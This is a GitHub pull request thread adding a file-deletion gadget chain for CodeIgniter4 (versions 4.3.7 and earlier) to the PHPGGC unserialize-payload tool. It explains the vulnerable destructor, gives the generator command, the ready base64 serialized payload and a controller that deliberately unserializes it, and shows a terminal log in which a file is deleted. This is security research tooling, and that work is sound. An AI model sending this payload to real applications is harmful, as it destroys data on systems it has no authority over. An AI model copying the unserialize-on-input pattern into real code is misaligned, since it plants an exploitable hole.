ambionics / phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
https://ambionics.io/blog
Apache License 2.0
3.2k stars 492 forks source link

CodeIgniter4: Added FD/2, which targets CodeIgniter4 versions <= 4.3.7 #158

Closed therealcoiffeur closed 1 year ago

therealcoiffeur commented 1 year ago

I would like to add my CodeIgniter4 gadget chain to PHPGGC.

Open Source PHP Framework (originally from EllisLab) .

Why?

Below is the responsible code.

File: system/Publisher/Publisher.php

<?php

...

class Publisher extends FileCollection
{

    ...

    /**
     * Removes a directory and all its files and subdirectories.
     */
    private static function wipeDirectory(string $directory): void
    {
        if (is_dir($directory)) {
            // Try a few times in case of lingering locks
            $attempts = 10;

            while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
                // @codeCoverageIgnoreStart
                $attempts--;
                usleep(100000); // .1s
                // @codeCoverageIgnoreEnd
            }

            @rmdir($directory);
        }
    }

    ...

    /**
     * Cleans up any temporary files in the scratch space.
     */
    public function __destruct()
    {
        if (isset($this->scratch)) {
            self::wipeDirectory($this->scratch);

            $this->scratch = null;
        }
    }

    ...

}

File: system/Helpers/filesystem_helper.php

<?php

...

if (! function_exists('delete_files')) {
    /**
     * Delete Files
     *
     * Deletes all files contained in the supplied directory path.
     * Files must be writable or owned by the system in order to be deleted.
     * If the second parameter is set to true, any directories contained
     * within the supplied base directory will be nuked as well.
     *
     * @param string $path   File path
     * @param bool   $delDir Whether to delete any directories found in the path
     * @param bool   $htdocs Whether to skip deleting .htaccess and index page files
     * @param bool   $hidden Whether to include hidden files (files beginning with a period)
     */
    function delete_files(string $path, bool $delDir = false, bool $htdocs = false, bool $hidden = false): bool
    {
        $path = realpath($path) ?: $path;
        $path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;

        try {
            foreach (new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            ) as $object) {
                $filename = $object->getFilename();
                if (! $hidden && $filename[0] === '.') {
                    continue;
                }

                if (! $htdocs || ! preg_match('/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i', $filename)) {
                    $isDir = $object->isDir();
                    if ($isDir && $delDir) {
                        rmdir($object->getPathname());

                        continue;
                    }
                    if (! $isDir) {
                        unlink($object->getPathname());
                    }
                }
            }

            return true;
        } catch (Throwable $e) {
            return false;
        }
    }
}

...

How?

Proof Of Concept

php composer.phar create-project codeigniter4/appstarter test

Then we generate the gadget chain using PHPGGC (we need to encode the string in base64 as it contains NULL bytes).

$ ./phpggc -b CodeIgniter4/FD2 /tmp/JUNK
TzozMToiQ29kZUlnbml0ZXJcUHVibGlzaGVyXFB1Ymxpc2hlciI6MTp7czo0MDoiAENvZGVJZ25pdGVyXFB1Ymxpc2hlclxQdWJsaXNoZXIAc2NyYXRjaCI7czo5OiIvdG1wL0pVTksiO30=

Then we edit the file app/Controllers/Home.php so that it contains the following code:

File: app/Controllers/Home.php

<?php

namespace App\Controllers;

helper(['filesystem']);

class Home extends BaseController
{
    public function index(): string
    {
        $es= "TzozMToiQ29kZUlnbml0ZXJcUHVibGlzaGVyXFB1Ymxpc2hlciI6MTp7czo0MDoiAENvZGVJZ25pdGVyXFB1Ymxpc2hlclxQdWJsaXNoZXIAc2NyYXRjaCI7czo5OiIvdG1wL0pVTksiO30=";
        $s = base64_decode($es);
        $o = unserialize($s);
        return view('welcome_message');
    }
}

Then the application can be launched as follows:

$ ./spark serve

CodeIgniter v4.3.7 Command Line Tool - Server Time: 2023-08-06 19:52:03 UTC+00:00

CodeIgniter development server started on http://localhost:8080
Press Control-C to stop.
[Sun Aug  6 21:52:03 2023] PHP 8.2.8 Development Server (http://localhost:8080) started
[Sun Aug  6 21:52:22 2023] [::1]:50361 Accepted
[Sun Aug  6 21:52:22 2023] [::1]:50361 Closing

All we have to do now is make an HTTP GET request via curl to the URL http://localhost:8080 to trigger script execution and check that the gadget chain works:

$ ls /tmp/JUNK
ls: /tmp/JUNK: No such file or directory
$ mkdir /tmp/JUNK/
$ echo 123 > /tmp/JUNK/aaaa
$ cat /tmp/JUNK/aaaa
123
$ curl -s -o /dev/null http://localhost:8080
$ cat /tmp/JUNK/aaaa
cat: /tmp/JUNK/aaaa: No such file or directory
cfreal commented 1 year ago

Yes! Thanks !